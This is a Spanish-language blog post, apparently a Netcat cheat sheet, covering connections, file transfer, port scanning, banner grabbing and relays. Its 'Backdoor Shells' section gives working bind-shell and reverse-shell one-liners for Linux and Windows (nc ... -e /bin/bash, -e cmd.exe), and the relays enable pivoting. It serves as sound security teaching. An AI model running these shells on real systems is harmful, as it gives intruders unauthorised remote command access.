Sitio para la difusión de conocimiento informático. 

Twitter RSS

Netcat

Netcat

Esta publicación provee varios «tips» para utilizar la herramienta Netcat tanto en Linux como en Unix. Toda la sintaxis está diseñada para la versión original de Netcat, realizada por Hobbit y Weld Pond. La sintaxis puede ser adaptada para otros Netcats, incluyendo ncat, gnu Netcat, y otros.

 

Fundamentos:

Cliente: Conectarse a un [puerto] arbitrario a una [ip dest]:
nc [ip dest] [puerto]

Servidor: Crear un Netcat que escuche en el puerto arbitrario  [LocalPort]:
nc -l -p [LocalPort]

Tanto el clinete como el servidor toman su entrada desde STDIN y envian lo recibido desde la red a la STDOUT.

 

Transferencia de Archivos:

Enviar el archivo desde un cliente a un servidor:
Servidor: escucha en el puerto [LocalPort], y guarda el resultado en el archivo [outputfile]:
nc -l -p [LocalPort] > [outputfile]
Cliente: Enviar el archivo [infile] al destino [TargetIPaddr] en el puerto [puerto]:
nc -w3 [TargetIPaddr] [puerto] < [inflie]

Enviar el archivo desde el servidor nuevamente al cliente:
Cliente: Escucha en el puerto [LocalPort], para enviar el archivo [infile]
nc -l -p [LocalPort] < [infile]
Servidor: Conectarse a la IP [TargetIPaddr] en el puerto [puerto] y recupera el archivo [outputfile]
nc -w3 [TargetIPaddr] [puerto] > [outputfile]

 

Escaneo de Puertos:

Intenta conectarse a cada puerto en un rango desde [end_port] a [start_port] a la dirección IP [TargetIPaddr], con los argumentos -v verbose, -n no resuelve nombres, sin enviar datos -z, y esperando no más de 1 segundo para que la conexión ocurra -w1. Para randomizar puertos usamos el argumento -r, que puede elegir puertos randomicamente de un rango:
nc -v -n -z -w1 [TargetIPaddr] [start_port] – [end_port]

 

Grabador de Banners TCP:

Intenta conectarse a cada puerto en un rango desde [end_port] a [start_port] a la dirección IP [TargetIPaddr], con los argumentos -v verbose, -n no resuelve nombres, sin enviar datos -z, y esperando no más de 1 segundo para que la conexión ocurra -w1. Para randomizar puertos usamos el argumento -r, que puede elegir puertos randomicamente de un rango. El argumento -p [purto] nos permite especificar un puerto origen:
echo «» | nc -v -n -w1 [TargetIPaddr] [start_port] – [end_port]

 

Backdoor Shells:

Crea una shell en un puerto local [LocalPort], que puede ser accedida usando un cliente Netcat fundamental.
Servidor backdoor shell en Linux:
echo «» | nc -l -p [LocalPort] -e /bin/bash
Servidor backdoor shell en Windows:
c:\> nc -l -p [LocalPort] -e cmd.exe

Crea una shell reversa que puede intentar conectarse a tu dirección IP [YourIPaddr] en el puerto local [puerto]. Esta shell puede luego ser capturada usando un servidor Netcat fundamental:
Backdoor shell reverso en Linux:
nc [YourIPaddr] [puerto] -e /bin/bash
Backdoor shel reverso en Windows:
c:\> nc [YourIPaddr] [port] -c cmd.exe

 

Netcat Relay en Linux:

Para comenzar debemos crear un FIFO (nombrado pipe) llamado backpipe:
cd /tmp
mknod backpipe p

Relay Servidor-a-Cliente:
Crear un relay que envíe paquetes desde un puerto local [LocalPort] a un cliente netcat conectando a [TargetIPaddr] en el puerto [puerto]:
nc -l -p [LocalPort] 0<backpipe | nc [TargetIPaddr] [puerto] | tee backpipe

Relay Servidor-a-Servidor:
Crear un relay que envía paquetes desde cualquier conexión en el puerto [LocalPort_1] a cualquier conexión en el puerto [LocalPort_2]:
nc -l -p [LocalPort_1] 0<backpipe | nc -l -p [LocalPort_2] | tee backpipe

Relay Cliente a Cliente:
Crea un relay que envía paquetes desde una conexión a [PreviousHopIPaddr] en el puerto [puerto] a un cliente netcat conectado a [NextHopIPaddr] en el puerto [puerto2]:
nc [PreviousHopIPaddr] [puerto] 0<backpipe | nc [NextHopIPaddr] [puerto2] | tee backpipe

 

Netcat relay en Windows:

Para comenzar ingresemos a un directorio temporal donde crearemos archivos .bat:
c:\> cd c:\temp

Relay Servidor-a-Cliente:
Crea un relay que envía paquetes desde el puerto local [LocalPort] a un cliente Netcat conectado a la IP [TargetIPaddr] en el puerto [puerto]:
c:\> echo nc [TargetIPaddr] [puerto] > relay.bat
c:\> nc -l -p [LocalPort] -e relay.bat

Relay Servidor-a-Servidor:
Crea un relay que enviará paquetes desde cualquier conexión en el puerto [LocalPort_1] a cualquier conexión en el puerto [LocalPort_2]:
c:\> echo nc -l -p [LocalPort_2] > relay.bat
c:\> nc -l -p [LocalPort_1] -e relay.bat

Relay Cliente-a-Cliete:
Crea un relay que enviará paquetes desde la conexión [PreviousHopIPaddr] en el puerto [puerto1] a el cliente Netcat conectado a [NextHopIPaddr] en el puerto [puerto2]:
c:\> echo nc [NextHopIPaddr] [port2] > relay.bat
c:\> nc [PreviousHopIPaddr] [puerto1] -e relay.bat

 

Argumentos del comando Netcat:

nc [opciones] [TargetIPaddr] [puerto(s)]

[TargetIPaddr] es simplemente la IP del otro lado o el nombre del dominio.

-l: modo servidor
-L: modo duro. Esta opción crea un servidor Netcat persistente, el cual comienza a escuchar nuevamente una vez que el cliente se desconecta (soportado solo en versiones Windows).
-u: modo UDP
-p: Puerto local
-e: Ejecución de programas luego de que ocurre la conexión
-n: No realizar búsquedas DNS
-z: No envía ningún dato, solo el paquete vacío
-wN: Timeout para las conexiones
-v: Verbose
-vv: Muy verbose